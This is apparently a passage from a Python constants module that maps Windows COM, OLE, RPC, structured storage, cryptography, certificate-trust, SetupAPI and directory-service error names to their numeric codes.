CO_E_FAILEDTOCLOSEHANDLE = -2147220971
CO_E_EXCEEDSYSACLLIMIT = -2147220970
CO_E_ACESINWRONGORDER = -2147220969
CO_E_INCOMPATIBLESTREAMVERSION = -2147220968
CO_E_FAILEDTOOPENPROCESSTOKEN = -2147220967
CO_E_DECODEFAILED = -2147220966
CO_E_ACNOTINITIALIZED = -2147220965
OLE_S_USEREG = 262144
OLE_S_STATIC = 262145
OLE_S_MAC_CLIPFORMAT = 262146
DRAGDROP_S_DROP = 262400
DRAGDROP_S_CANCEL = 262401
DRAGDROP_S_USEDEFAULTCURSORS = 262402
DATA_S_SAMEFORMATETC = 262448
VIEW_S_ALREADY_FROZEN = 262464
CACHE_S_FORMATETC_NOTSUPPORTED = 262512
CACHE_S_SAMECACHE = 262513
CACHE_S_SOMECACHES_NOTUPDATED = 262514
OLEOBJ_S_INVALIDVERB = 262528
OLEOBJ_S_CANNOT_DOVERB_NOW = 262529
OLEOBJ_S_INVALIDHWND = 262530
INPLACE_S_TRUNCATED = 262560
CONVERT10_S_NO_PRESENTATION = 262592
MK_S_REDUCED_TO_SELF = 262626
MK_S_ME = 262628
MK_S_HIM = 262629
MK_S_US = 262630
MK_S_MONIKERALREADYREGISTERED = 262631
CO_E_CLASS_CREATE_FAILED = -2146959359
CO_E_SCM_ERROR = -2146959358
CO_E_SCM_RPC_FAILURE = -2146959357
CO_E_BAD_PATH = -2146959356
CO_E_SERVER_EXEC_FAILURE = -2146959355
CO_E_OBJSRV_RPC_FAILURE = -2146959354
MK_E_NO_NORMALIZED = -2146959353
CO_E_SERVER_STOPPING = -2146959352
MEM_E_INVALID_ROOT = -2146959351
MEM_E_INVALID_LINK = -2146959344
MEM_E_INVALID_SIZE = -2146959343
CO_S_NOTALLINTERFACES = 524306
DISP_E_UNKNOWNINTERFACE = -2147352575
DISP_E_MEMBERNOTFOUND = -2147352573
DISP_E_PARAMNOTFOUND = -2147352572
DISP_E_TYPEMISMATCH = -2147352571
DISP_E_UNKNOWNNAME = -2147352570
DISP_E_NONAMEDARGS = -2147352569
DISP_E_BADVARTYPE = -2147352568
DISP_E_EXCEPTION = -2147352567
DISP_E_OVERFLOW = -2147352566
DISP_E_BADINDEX = -2147352565
DISP_E_UNKNOWNLCID = -2147352564
DISP_E_ARRAYISLOCKED = -2147352563
DISP_E_BADPARAMCOUNT = -2147352562
DISP_E_PARAMNOTOPTIONAL = -2147352561
DISP_E_BADCALLEE = -2147352560
DISP_E_NOTACOLLECTION = -2147352559
DISP_E_DIVBYZERO = -2147352558
TYPE_E_BUFFERTOOSMALL = -2147319786
TYPE_E_FIELDNOTFOUND = -2147319785
TYPE_E_INVDATAREAD = -2147319784
TYPE_E_UNSUPFORMAT = -2147319783
TYPE_E_REGISTRYACCESS = -2147319780
TYPE_E_LIBNOTREGISTERED = -2147319779
TYPE_E_UNDEFINEDTYPE = -2147319769
TYPE_E_QUALIFIEDNAMEDISALLOWED = -2147319768
TYPE_E_INVALIDSTATE = -2147319767
TYPE_E_WRONGTYPEKIND = -2147319766
TYPE_E_ELEMENTNOTFOUND = -2147319765
TYPE_E_AMBIGUOUSNAME = -2147319764
TYPE_E_NAMECONFLICT = -2147319763
TYPE_E_UNKNOWNLCID = -2147319762
TYPE_E_DLLFUNCTIONNOTFOUND = -2147319761
TYPE_E_BADMODULEKIND = -2147317571
TYPE_E_SIZETOOBIG = -2147317563
TYPE_E_DUPLICATEID = -2147317562
TYPE_E_INVALIDID = -2147317553
TYPE_E_TYPEMISMATCH = -2147316576
TYPE_E_OUTOFBOUNDS = -2147316575
TYPE_E_IOERROR = -2147316574
TYPE_E_CANTCREATETMPFILE = -2147316573
TYPE_E_CANTLOADLIBRARY = -2147312566
TYPE_E_INCONSISTENTPROPFUNCS = -2147312509
TYPE_E_CIRCULARTYPE = -2147312508
STG_E_INVALIDFUNCTION = -2147287039
STG_E_FILENOTFOUND = -2147287038
STG_E_PATHNOTFOUND = -2147287037
STG_E_TOOMANYOPENFILES = -2147287036
STG_E_ACCESSDENIED = -2147287035
STG_E_INVALIDHANDLE = -2147287034
STG_E_INSUFFICIENTMEMORY = -2147287032
STG_E_INVALIDPOINTER = -2147287031
STG_E_NOMOREFILES = -2147287022
STG_E_DISKISWRITEPROTECTED = -2147287021
STG_E_SEEKERROR = -2147287015
STG_E_WRITEFAULT = -2147287011
STG_E_READFAULT = -2147287010
STG_E_SHAREVIOLATION = -2147287008
STG_E_LOCKVIOLATION = -2147287007
STG_E_FILEALREADYEXISTS = -2147286960
STG_E_INVALIDPARAMETER = -2147286953
STG_E_MEDIUMFULL = -2147286928
STG_E_PROPSETMISMATCHED = -2147286800
STG_E_ABNORMALAPIEXIT = -2147286790
STG_E_INVALIDHEADER = -2147286789
STG_E_INVALIDNAME = -2147286788
STG_E_UNKNOWN = -2147286787
STG_E_UNIMPLEMENTEDFUNCTION = -2147286786
STG_E_INVALIDFLAG = -2147286785
STG_E_INUSE = -2147286784
STG_E_NOTCURRENT = -2147286783
STG_E_REVERTED = -2147286782
STG_E_CANTSAVE = -2147286781
STG_E_OLDFORMAT = -2147286780
STG_E_OLDDLL = -2147286779
STG_E_SHAREREQUIRED = -2147286778
STG_E_NOTFILEBASEDSTORAGE = -2147286777
STG_E_EXTANTMARSHALLINGS = -2147286776
STG_E_DOCFILECORRUPT = -2147286775
STG_E_BADBASEADDRESS = -2147286768
STG_E_INCOMPLETE = -2147286527
STG_E_TERMINATED = -2147286526
STG_S_CONVERTED = 197120
STG_S_BLOCK = 197121
STG_S_RETRYNOW = 197122
STG_S_MONITORING = 197123
STG_S_MULTIPLEOPENS = 197124
STG_S_CONSOLIDATIONFAILED = 197125
STG_S_CANNOTCONSOLIDATE = 197126
RPC_E_CALL_REJECTED = -2147418111
RPC_E_CALL_CANCELED = -2147418110
RPC_E_CANTPOST_INSENDCALL = -2147418109
RPC_E_CANTCALLOUT_INASYNCCALL = -2147418108
RPC_E_CANTCALLOUT_INEXTERNALCALL = -2147418107
RPC_E_CONNECTION_TERMINATED = -2147418106
RPC_E_SERVER_DIED = -2147418105
RPC_E_CLIENT_DIED = -2147418104
RPC_E_INVALID_DATAPACKET = -2147418103
RPC_E_CANTTRANSMIT_CALL = -2147418102
RPC_E_CLIENT_CANTMARSHAL_DATA = -2147418101
RPC_E_CLIENT_CANTUNMARSHAL_DATA = -2147418100
RPC_E_SERVER_CANTMARSHAL_DATA = -2147418099
RPC_E_SERVER_CANTUNMARSHAL_DATA = -2147418098
RPC_E_INVALID_DATA = -2147418097
RPC_E_INVALID_PARAMETER = -2147418096
RPC_E_CANTCALLOUT_AGAIN = -2147418095
RPC_E_SERVER_DIED_DNE = -2147418094
RPC_E_SYS_CALL_FAILED = -2147417856
RPC_E_OUT_OF_RESOURCES = -2147417855
RPC_E_ATTEMPTED_MULTITHREAD = -2147417854
RPC_E_NOT_REGISTERED = -2147417853
RPC_E_FAULT = -2147417852
RPC_E_SERVERFAULT = -2147417851
RPC_E_CHANGED_MODE = -2147417850
RPC_E_INVALIDMETHOD = -2147417849
RPC_E_DISCONNECTED = -2147417848
RPC_E_RETRY = -2147417847
RPC_E_SERVERCALL_RETRYLATER = -2147417846
RPC_E_SERVERCALL_REJECTED = -2147417845
RPC_E_INVALID_CALLDATA = -2147417844
RPC_E_CANTCALLOUT_ININPUTSYNCCALL = -2147417843
RPC_E_WRONG_THREAD = -2147417842
RPC_E_THREAD_NOT_INIT = -2147417841
RPC_E_VERSION_MISMATCH = -2147417840
RPC_E_INVALID_HEADER = -2147417839
RPC_E_INVALID_EXTENSION = -2147417838
RPC_E_INVALID_IPID = -2147417837
RPC_E_INVALID_OBJECT = -2147417836
RPC_S_CALLPENDING = -2147417835
RPC_S_WAITONTIMER = -2147417834
RPC_E_CALL_COMPLETE = -2147417833
RPC_E_UNSECURE_CALL = -2147417832
RPC_E_TOO_LATE = -2147417831
RPC_E_NO_GOOD_SECURITY_PACKAGES = -2147417830
RPC_E_ACCESS_DENIED = -2147417829
RPC_E_REMOTE_DISABLED = -2147417828
RPC_E_INVALID_OBJREF = -2147417827
RPC_E_NO_CONTEXT = -2147417826
RPC_E_TIMEOUT = -2147417825
RPC_E_NO_SYNC = -2147417824
RPC_E_UNEXPECTED = -2147352577
NTE_BAD_UID = -2146893823
NTE_BAD_HASH = -2146893822
NTE_BAD_KEY = -2146893821
NTE_BAD_LEN = -2146893820
NTE_BAD_DATA = -2146893819
NTE_BAD_SIGNATURE = -2146893818
NTE_BAD_VER = -2146893817
NTE_BAD_ALGID = -2146893816
NTE_BAD_FLAGS = -2146893815
NTE_BAD_TYPE = -2146893814
NTE_BAD_KEY_STATE = -2146893813
NTE_BAD_HASH_STATE = -2146893812
NTE_NO_KEY = -2146893811
NTE_NO_MEMORY = -2146893810
NTE_EXISTS = -2146893809
NTE_PERM = -2146893808
NTE_NOT_FOUND = -2146893807
NTE_DOUBLE_ENCRYPT = -2146893806
NTE_BAD_PROVIDER = -2146893805
NTE_BAD_PROV_TYPE = -2146893804
NTE_BAD_PUBLIC_KEY = -2146893803
NTE_BAD_KEYSET = -2146893802
NTE_PROV_TYPE_NOT_DEF = -2146893801
NTE_PROV_TYPE_ENTRY_BAD = -2146893800
NTE_KEYSET_NOT_DEF = -2146893799
NTE_KEYSET_ENTRY_BAD = -2146893798
NTE_PROV_TYPE_NO_MATCH = -2146893797
NTE_SIGNATURE_FILE_BAD = -2146893796
NTE_PROVIDER_DLL_FAIL = -2146893795
NTE_PROV_DLL_NOT_FOUND = -2146893794
NTE_BAD_KEYSET_PARAM = -2146893793
NTE_FAIL = -2146893792
NTE_SYS_ERR = -2146893791
CRYPT_E_MSG_ERROR = -2146889727
CRYPT_E_UNKNOWN_ALGO = -2146889726
CRYPT_E_OID_FORMAT = -2146889725
CRYPT_E_INVALID_MSG_TYPE = -2146889724
CRYPT_E_UNEXPECTED_ENCODING = -2146889723
CRYPT_E_AUTH_ATTR_MISSING = -2146889722
CRYPT_E_HASH_VALUE = -2146889721
CRYPT_E_INVALID_INDEX = -2146889720
CRYPT_E_ALREADY_DECRYPTED = -2146889719
CRYPT_E_NOT_DECRYPTED = -2146889718
CRYPT_E_RECIPIENT_NOT_FOUND = -2146889717
CRYPT_E_CONTROL_TYPE = -2146889716
CRYPT_E_ISSUER_SERIALNUMBER = -2146889715
CRYPT_E_SIGNER_NOT_FOUND = -2146889714
CRYPT_E_ATTRIBUTES_MISSING = -2146889713
CRYPT_E_STREAM_MSG_NOT_READY = -2146889712
CRYPT_E_STREAM_INSUFFICIENT_DATA = -2146889711
CRYPT_E_BAD_LEN = -2146885631
CRYPT_E_BAD_ENCODE = -2146885630
CRYPT_E_FILE_ERROR = -2146885629
CRYPT_E_NOT_FOUND = -2146885628
CRYPT_E_EXISTS = -2146885627
CRYPT_E_NO_PROVIDER = -2146885626
CRYPT_E_SELF_SIGNED = -2146885625
CRYPT_E_DELETED_PREV = -2146885624
CRYPT_E_NO_MATCH = -2146885623
CRYPT_E_UNEXPECTED_MSG_TYPE = -2146885622
CRYPT_E_NO_KEY_PROPERTY = -2146885621
CRYPT_E_NO_DECRYPT_CERT = -2146885620
CRYPT_E_BAD_MSG = -2146885619
CRYPT_E_NO_SIGNER = -2146885618
CRYPT_E_PENDING_CLOSE = -2146885617
CRYPT_E_REVOKED = -2146885616
CRYPT_E_NO_REVOCATION_DLL = -2146885615
CRYPT_E_NO_REVOCATION_CHECK = -2146885614
CRYPT_E_REVOCATION_OFFLINE = -2146885613
CRYPT_E_NOT_IN_REVOCATION_DATABASE = -2146885612
CRYPT_E_INVALID_NUMERIC_STRING = -2146885600
CRYPT_E_INVALID_PRINTABLE_STRING = -2146885599
CRYPT_E_INVALID_IA5_STRING = -2146885598
CRYPT_E_INVALID_X500_STRING = -2146885597
CRYPT_E_NOT_CHAR_STRING = -2146885596
CRYPT_E_FILERESIZED = -2146885595
CRYPT_E_SECURITY_SETTINGS = -2146885594
CRYPT_E_NO_VERIFY_USAGE_DLL = -2146885593
CRYPT_E_NO_VERIFY_USAGE_CHECK = -2146885592
CRYPT_E_VERIFY_USAGE_OFFLINE = -2146885591
CRYPT_E_NOT_IN_CTL = -2146885590
CRYPT_E_NO_TRUSTED_SIGNER = -2146885589
CRYPT_E_OSS_ERROR = -2146881536
CERTSRV_E_BAD_REQUESTSUBJECT = -2146877439
CERTSRV_E_NO_REQUEST = -2146877438
CERTSRV_E_BAD_REQUESTSTATUS = -2146877437
CERTSRV_E_PROPERTY_EMPTY = -2146877436
CERTDB_E_JET_ERROR = -2146873344
TRUST_E_SYSTEM_ERROR = -2146869247
TRUST_E_NO_SIGNER_CERT = -2146869246
TRUST_E_COUNTER_SIGNER = -2146869245
TRUST_E_CERT_SIGNATURE = -2146869244
TRUST_E_TIME_STAMP = -2146869243
TRUST_E_BAD_DIGEST = -2146869232
TRUST_E_BASIC_CONSTRAINTS = -2146869223
TRUST_E_FINANCIAL_CRITERIA = -2146869218
NTE_OP_OK = 0
TRUST_E_PROVIDER_UNKNOWN = -2146762751
TRUST_E_ACTION_UNKNOWN = -2146762750
TRUST_E_SUBJECT_FORM_UNKNOWN = -2146762749
TRUST_E_SUBJECT_NOT_TRUSTED = -2146762748
DIGSIG_E_ENCODE = -2146762747
DIGSIG_E_DECODE = -2146762746
DIGSIG_E_EXTENSIBILITY = -2146762745
DIGSIG_E_CRYPTO = -2146762744
PERSIST_E_SIZEDEFINITE = -2146762743
PERSIST_E_SIZEINDEFINITE = -2146762742
PERSIST_E_NOTSELFSIZING = -2146762741
TRUST_E_NOSIGNATURE = -2146762496
CERT_E_EXPIRED = -2146762495
CERT_E_VALIDITYPERIODNESTING = -2146762494
CERT_E_ROLE = -2146762493
CERT_E_PATHLENCONST = -2146762492
CERT_E_CRITICAL = -2146762491
CERT_E_PURPOSE = -2146762490
CERT_E_ISSUERCHAINING = -2146762489
CERT_E_MALFORMED = -2146762488
CERT_E_UNTRUSTEDROOT = -2146762487
CERT_E_CHAINING = -2146762486
TRUST_E_FAIL = -2146762485
CERT_E_REVOKED = -2146762484
CERT_E_UNTRUSTEDTESTROOT = -2146762483
CERT_E_REVOCATION_FAILURE = -2146762482
CERT_E_CN_NO_MATCH = -2146762481
CERT_E_WRONG_USAGE = -2146762480
SPAPI_E_EXPECTED_SECTION_NAME = -2146500608
SPAPI_E_BAD_SECTION_NAME_LINE = -2146500607
SPAPI_E_SECTION_NAME_TOO_LONG = -2146500606
SPAPI_E_GENERAL_SYNTAX = -2146500605
SPAPI_E_WRONG_INF_STYLE = -2146500352
SPAPI_E_SECTION_NOT_FOUND = -2146500351
SPAPI_E_LINE_NOT_FOUND = -2146500350
SPAPI_E_NO_ASSOCIATED_CLASS = -2146500096
SPAPI_E_CLASS_MISMATCH = -2146500095
SPAPI_E_DUPLICATE_FOUND = -2146500094
SPAPI_E_NO_DRIVER_SELECTED = -2146500093
SPAPI_E_KEY_DOES_NOT_EXIST = -2146500092
SPAPI_E_INVALID_DEVINST_NAME = -2146500091
SPAPI_E_INVALID_CLASS = -2146500090
SPAPI_E_DEVINST_ALREADY_EXISTS = -2146500089
SPAPI_E_DEVINFO_NOT_REGISTERED = -2146500088
SPAPI_E_INVALID_REG_PROPERTY = -2146500087
SPAPI_E_NO_INF = -2146500086
SPAPI_E_NO_SUCH_DEVINST = -2146500085
SPAPI_E_CANT_LOAD_CLASS_ICON = -2146500084
SPAPI_E_INVALID_CLASS_INSTALLER = -2146500083
SPAPI_E_DI_DO_DEFAULT = -2146500082
SPAPI_E_DI_NOFILECOPY = -2146500081
SPAPI_E_INVALID_HWPROFILE = -2146500080
SPAPI_E_NO_DEVICE_SELECTED = -2146500079
SPAPI_E_DEVINFO_LIST_LOCKED = -2146500078
SPAPI_E_DEVINFO_DATA_LOCKED = -2146500077
SPAPI_E_DI_BAD_PATH = -2146500076
SPAPI_E_NO_CLASSINSTALL_PARAMS = -2146500075
SPAPI_E_FILEQUEUE_LOCKED = -2146500074
SPAPI_E_BAD_SERVICE_INSTALLSECT = -2146500073
SPAPI_E_NO_CLASS_DRIVER_LIST = -2146500072
SPAPI_E_NO_ASSOCIATED_SERVICE = -2146500071
SPAPI_E_NO_DEFAULT_DEVICE_INTERFACE = -2146500070
SPAPI_E_DEVICE_INTERFACE_ACTIVE = -2146500069
SPAPI_E_DEVICE_INTERFACE_REMOVED = -2146500068
SPAPI_E_BAD_INTERFACE_INSTALLSECT = -2146500067
SPAPI_E_NO_SUCH_INTERFACE_CLASS = -2146500066
SPAPI_E_INVALID_REFERENCE_STRING = -2146500065
SPAPI_E_INVALID_MACHINENAME = -2146500064
SPAPI_E_REMOTE_COMM_FAILURE = -2146500063
SPAPI_E_MACHINE_UNAVAILABLE = -2146500062
SPAPI_E_NO_CONFIGMGR_SERVICES = -2146500061
SPAPI_E_INVALID_PROPPAGE_PROVIDER = -2146500060
SPAPI_E_NO_SUCH_DEVICE_INTERFACE = -2146500059
SPAPI_E_DI_POSTPROCESSING_REQUIRED = -2146500058
SPAPI_E_INVALID_COINSTALLER = -2146500057
SPAPI_E_NO_COMPAT_DRIVERS = -2146500056
SPAPI_E_NO_DEVICE_ICON = -2146500055
SPAPI_E_INVALID_INF_LOGCONFIG = -2146500054
SPAPI_E_DI_DONT_INSTALL = -2146500053
SPAPI_E_INVALID_FILTER_DRIVER = -2146500052
SPAPI_E_ERROR_NOT_INSTALLED = -2146496512

# Directory storage
ERROR_DS_NOT_INSTALLED = 8200
ERROR_DS_MEMBERSHIP_EVALUATED_LOCALLY = 8201
ERROR_DS_NO_ATTRIBUTE_OR_VALUE = 8202
ERROR_DS_INVALID_ATTRIBUTE_SYNTAX = 8203
ERROR_DS_ATTRIBUTE_TYPE_UNDEFINED = 8204
ERROR_DS_ATTRIBUTE_OR_VALUE_EXISTS = 8205
ERROR_DS_BUSY = 8206
ERROR_DS_UNAVAILABLE = 8207
ERROR_DS_NO_RIDS_ALLOCATED = 8208
ERROR_DS_NO_MORE_RIDS = 8209
ERROR_DS_INCORRECT_ROLE_OWNER = 8210
ERROR_DS_RIDMGR_INIT_ERROR = 8211
ERROR_DS_OBJ_CLASS_VIOLATION = 8212
ERROR_DS_CANT_ON_NON_LEAF = 8213
ERROR_DS_CANT_ON_RDN = 8214
ERROR_DS_CANT_MOD_OBJ_CLASS = 8215
ERROR_DS_CROSS_DOM_MOVE_ERROR = 8216
ERROR_DS_GC_NOT_AVAILABLE = 8217
ERROR_SHARED_POLICY = 8218
ERROR_POLICY_OBJECT_NOT_FOUND = 8219
ERROR_POLICY_ONLY_IN_DS = 8220
ERROR_PROMOTION_ACTIVE = 8221
ERROR_NO_PROMOTION_ACTIVE = 8222
ERROR_DS_OPERATIONS_ERROR = 8224
ERROR_DS_PROTOCOL_ERROR = 8225
ERROR_DS_TIMELIMIT_EXCEEDED = 8226
ERROR_DS_SIZELIMIT_EXCEEDED = 8227
ERROR_DS_ADMIN_LIMIT_EXCEEDED = 8228
ERROR_DS_COMPARE_FALSE = 8229
ERROR_DS_COMPARE_TRUE = 8230
ERROR_DS_AUTH_METHOD_NOT_SUPPORTED = 8231
ERROR_DS_STRONG_AUTH_REQUIRED = 8232
ERROR_DS_INAPPROPRIATE_AUTH = 8233
ERROR_DS_AUTH_UNKNOWN = 8234
ERROR_DS_REFERRAL = 8235
ERROR_DS_UNAVAILABLE_CRIT_EXTENSION = 8236
ERROR_DS_CONFIDENTIALITY_REQUIRED = 8237
ERROR_DS_INAPPROPRIATE_MATCHING = 8238
ERROR_DS_CONSTRAINT_VIOLATION = 8239
ERROR_DS_NO_SUCH_OBJECT = 8240
ERROR_DS_ALIAS_PROBLEM = 8241
ERROR_DS_INVALID_DN_SYNTAX = 8242
ERROR_DS_IS_LEAF = 8243
ERROR_DS_ALIAS_DEREF_PROBLEM = 8244
ERROR_DS_UNWILLING_TO_PERFORM = 8245
ERROR_DS_LOOP_DETECT = 8246
ERROR_DS_NAMING_VIOLATION = 8247
ERROR_DS_OBJECT_RESULTS_TOO_LARGE = 8248
ERROR_DS_AFFECTS_MULTIPLE_DSAS = 8249
ERROR_DS_SERVER_DOWN = 8250
ERROR_DS_LOCAL_ERROR = 8251
ERROR_DS_ENCODING_ERROR = 8252
ERROR_DS_DECODING_ERROR = 8253
ERROR_DS_FILTER_UNKNOWN = 8254
ERROR_DS_PARAM_ERROR = 8255
ERROR_DS_NOT_SUPPORTED = 8256
ERROR_DS_NO_RESULTS_RETURNED = 8257
ERROR_DS_CONTROL_NOT_FOUND = 8258
ERROR_DS_CLIENT_LOOP = 8259
ERROR_DS_REFERRAL_LIMIT_EXCEEDED = 8260
ERROR_DS_SORT_CONTROL_MISSING = 8261
ERROR_DS_OFFSET_RANGE_ERROR = 8262
ERROR_DS_ROOT_MUST_BE_NC = 8301
ERROR_DS_ADD_REPLICA_INHIBITED = 8302
ERROR_DS_ATT_NOT_DEF_IN_SCHEMA = 8303
ERROR_DS_MAX_OBJ_SIZE_EXCEEDED = 8304
ERROR_DS_OBJ_STRING_NAME_EXISTS = 8305
ERROR_DS_NO_RDN_DEFINED_IN_SCHEMA = 8306
ERROR_DS_RDN_DOESNT_MATCH_SCHEMA = 8307
ERROR_DS_NO_REQUESTED_ATTS_FOUND = 8308
ERROR_DS_USER_BUFFER_TO_SMALL = 8309
ERROR_DS_ATT_IS_NOT_ON_OBJ = 8310
ERROR_DS_ILLEGAL_MOD_OPERATION = 8311
ERROR_DS_OBJ_TOO_LARGE = 8312
ERROR_DS_BAD_INSTANCE_TYPE = 8313
ERROR_DS_MASTERDSA_REQUIRED = 8314
ERROR_DS_OBJECT_CLASS_REQUIRED = 8315
ERROR_DS_MISSING_REQUIRED_ATT = 8316
ERROR_DS_ATT_NOT_DEF_FOR_CLASS = 8317
ERROR_DS_ATT_ALREADY_EXISTS = 8318
ERROR_DS_CANT_ADD_ATT_VALUES = 8320
ERROR_DS_SINGLE_VALUE_CONSTRAINT = 8321
ERROR_DS_RANGE_CONSTRAINT = 8322
ERROR_DS_ATT_VAL_ALREADY_EXISTS = 8323
ERROR_DS_CANT_REM_MISSING_ATT = 8324
ERROR_DS_CANT_REM_MISSING_ATT_VAL = 8325
ERROR_DS_ROOT_CANT_BE_SUBREF = 8326
ERROR_DS_NO_CHAINING = 8327
ERROR_DS_NO_CHAINED_EVAL = 8328
ERROR_DS_NO_PARENT_OBJECT = 8329
ERROR_DS_PARENT_IS_AN_ALIAS = 8330
ERROR_DS_CANT_MIX_MASTER_AND_REPS = 8331
ERROR_DS_CHILDREN_EXIST = 8332
ERROR_DS_OBJ_NOT_FOUND = 8333
ERROR_DS_ALIASED_OBJ_MISSING = 8334
ERROR_DS_BAD_NAME_SYNTAX = 8335
ERROR_DS_ALIAS_POINTS_TO_ALIAS = 8336
ERROR_DS_CANT_DEREF_ALIAS = 8337
ERROR_DS_OUT_OF_SCOPE = 8338
ERROR_DS_OBJECT_BEING_REMOVED = 8339
ERROR_DS_CANT_DELETE_DSA_OBJ = 8340
ERROR_DS_GENERIC_ERROR = 8341
ERROR_DS_DSA_MUST_BE_INT_MASTER = 8342
ERROR_DS_CLASS_NOT_DSA = 8343
ERROR_DS_INSUFF_ACCESS_RIGHTS = 8344
ERROR_DS_ILLEGAL_SUPERIOR = 8345
ERROR_DS_ATTRIBUTE_OWNED_BY_SAM = 8346
ERROR_DS_NAME_TOO_MANY_PARTS = 8347
ERROR_DS_NAME_TOO_LONG = 8348
ERROR_DS_NAME_VALUE_TOO_LONG = 8349
ERROR_DS_NAME_UNPARSEABLE = 8350
ERROR_DS_NAME_TYPE_UNKNOWN = 8351
ERROR_DS_NOT_AN_OBJECT = 8352
ERROR_DS_SEC_DESC_TOO_SHORT = 8353
ERROR_DS_SEC_DESC_INVALID = 8354
ERROR_DS_NO_DELETED_NAME = 8355
ERROR_DS_SUBREF_MUST_HAVE_PARENT = 8356
ERROR_DS_NCNAME_MUST_BE_NC = 8357
ERROR_DS_CANT_ADD_SYSTEM_ONLY = 8358
ERROR_DS_CLASS_MUST_BE_CONCRETE = 8359
ERROR_DS_INVALID_DMD = 8360
ERROR_DS_OBJ_GUID_EXISTS = 8361
ERROR_DS_NOT_ON_BACKLINK = 8362
ERROR_DS_NO_CROSSREF_FOR_NC = 8363
ERROR_DS_SHUTTING_DOWN = 8364
ERROR_DS_UNKNOWN_OPERATION = 8365
ERROR_DS_INVALID_ROLE_OWNER = 8366
ERROR_DS_COULDNT_CONTACT_FSMO = 8367
ERROR_DS_CROSS_NC_DN_RENAME = 8368
ERROR_DS_CANT_MOD_SYSTEM_ONLY = 8369
ERROR_DS_REPLICATOR_ONLY = 8370
ERROR_DS_OBJ_CLASS_NOT_DEFINED = 8371
ERROR_DS_OBJ_CLASS_NOT_SUBCLASS = 8372
ERROR_DS_NAME_REFERENCE_INVALID = 8373
ERROR_DS_CROSS_REF_EXISTS = 8374
ERROR_DS_CANT_DEL_MASTER_CROSSREF = 8375
ERROR_DS_SUBTREE_NOTIFY_NOT_NC_HEAD = 8376
ERROR_DS_NOTIFY_FILTER_TOO_COMPLEX = 8377
ERROR_DS_DUP_RDN = 8378
ERROR_DS_DUP_OID = 8379
ERROR_DS_DUP_MAPI_ID = 8380
ERROR_DS_DUP_SCHEMA_ID_GUID = 8381
ERROR_DS_DUP_LDAP_DISPLAY_NAME = 8382
ERROR_DS_SEMANTIC_ATT_TEST = 8383
ERROR_DS_SYNTAX_MISMATCH = 8384
ERROR_DS_EXISTS_IN_MUST_HAVE = 8385
ERROR_DS_EXISTS_IN_MAY_HAVE = 8386
ERROR_DS_NONEXISTENT_MAY_HAVE = 8387
ERROR_DS_NONEXISTENT_MUST_HAVE = 8388
ERROR_DS_AUX_CLS_TEST_FAIL = 8389
ERROR_DS_NONEXISTENT_POSS_SUP = 8390
ERROR_DS_SUB_CLS_TEST_FAIL = 8391
ERROR_DS_BAD_RDN_ATT_ID_SYNTAX = 8392
ERROR_DS_EXISTS_IN_AUX_CLS = 8393
ERROR_DS_EXISTS_IN_SUB_CLS = 8394
ERROR_DS_EXISTS_IN_POSS_SUP = 8395
ERROR_DS_RECALCSCHEMA_FAILED = 8396
ERROR_DS_TREE_DELETE_NOT_FINISHED = 8397
ERROR_DS_CANT_DELETE = 8398
ERROR_DS_ATT_SCHEMA_REQ_ID = 8399
ERROR_DS_BAD_ATT_SCHEMA_SYNTAX = 8400
ERROR_DS_CANT_CACHE_ATT = 8401
ERROR_DS_CANT_CACHE_CLASS = 8402
ERROR_DS_CANT_REMOVE_ATT_CACHE = 8403
ERROR_DS_CANT_REMOVE_CLASS_CACHE = 8404
ERROR_DS_CANT_RETRIEVE_DN = 8405
ERROR_DS_MISSING_SUPREF = 8406
ERROR_DS_CANT_RETRIEVE_INSTANCE = 8407
ERROR_DS_CODE_INCONSISTENCY = 8408
ERROR_DS_DATABASE_ERROR = 8409
ERROR_DS_GOVERNSID_MISSING = 8410
ERROR_DS_MISSING_EXPECTED_ATT = 8411
ERROR_DS_NCNAME_MISSING_CR_REF = 8412
ERROR_DS_SECURITY_CHECKING_ERROR = 8413
ERROR_DS_SCHEMA_NOT_LOADED = 8414
ERROR_DS_SCHEMA_ALLOC_FAILED = 8415
ERROR_DS_ATT_SCHEMA_REQ_SYNTAX = 8416
ERROR_DS_GCVERIFY_ERROR = 8417
ERROR_DS_DRA_SCHEMA_MISMATCH = 8418
ERROR_DS_CANT_FIND_DSA_OBJ = 8419
ERROR_DS_CANT_FIND_EXPECTED_NC = 8420
ERROR_DS_CANT_FIND_NC_IN_CACHE = 8421
ERROR_DS_CANT_RETRIEVE_CHILD = 8422
ERROR_DS_SECURITY_ILLEGAL_MODIFY = 8423
ERROR_DS_CANT_REPLACE_HIDDEN_REC = 8424
ERROR_DS_BAD_HIERARCHY_FILE = 8425
ERROR_DS_BUILD_HIERARCHY_TABLE_FAILED = 8426
ERROR_DS_CONFIG_PARAM_MISSING = 8427
ERROR_DS_COUNTING_AB_INDICES_FAILED = 8428
ERROR_DS_HIERARCHY_TABLE_MALLOC_FAILED = 8429
ERROR_DS_INTERNAL_FAILURE = 8430
ERROR_DS_UNKNOWN_ERROR = 8431
ERROR_DS_ROOT_REQUIRES_CLASS_TOP = 8432
ERROR_DS_REFUSING_FSMO_ROLES = 8433
ERROR_DS_MISSING_FSMO_SETTINGS = 8434
ERROR_DS_UNABLE_TO_SURRENDER_ROLES = 8435
ERROR_DS_DRA_GENERIC = 8436
ERROR_DS_DRA_INVALID_PARAMETER = 8437
ERROR_DS_DRA_BUSY = 8438
ERROR_DS_DRA_BAD_DN = 8439
ERROR_DS_DRA_BAD_NC = 8440
ERROR_DS_DRA_DN_EXISTS = 8441
ERROR_DS_DRA_INTERNAL_ERROR = 8442
ERROR_DS_DRA_INCONSISTENT_DIT = 8443
ERROR_DS_DRA_CONNECTION_FAILED = 8444
ERROR_DS_DRA_BAD_INSTANCE_TYPE = 8445
ERROR_DS_DRA_OUT_OF_MEM = 8446
ERROR_DS_DRA_MAIL_PROBLEM = 8447
ERROR_DS_DRA_REF_ALREADY_EXISTS = 8448
ERROR_DS_DRA_REF_NOT_FOUND = 8449
ERROR_DS_DRA_OBJ_IS_REP_SOURCE = 8450
ERROR_DS_DRA_DB_ERROR = 8451
ERROR_DS_DRA_NO_REPLICA = 8452
ERROR_DS_DRA_ACCESS_DENIED = 8453
ERROR_DS_DRA_NOT_SUPPORTED = 8454
ERROR_DS_DRA_RPC_CANCELLED = 8455
ERROR_DS_DRA_SOURCE_DISABLED = 8456
ERROR_DS_DRA_SINK_DISABLED = 8457
ERROR_DS_DRA_NAME_COLLISION = 8458
ERROR_DS_DRA_SOURCE_REINSTALLED = 8459
ERROR_DS_DRA_MISSING_PARENT = 8460
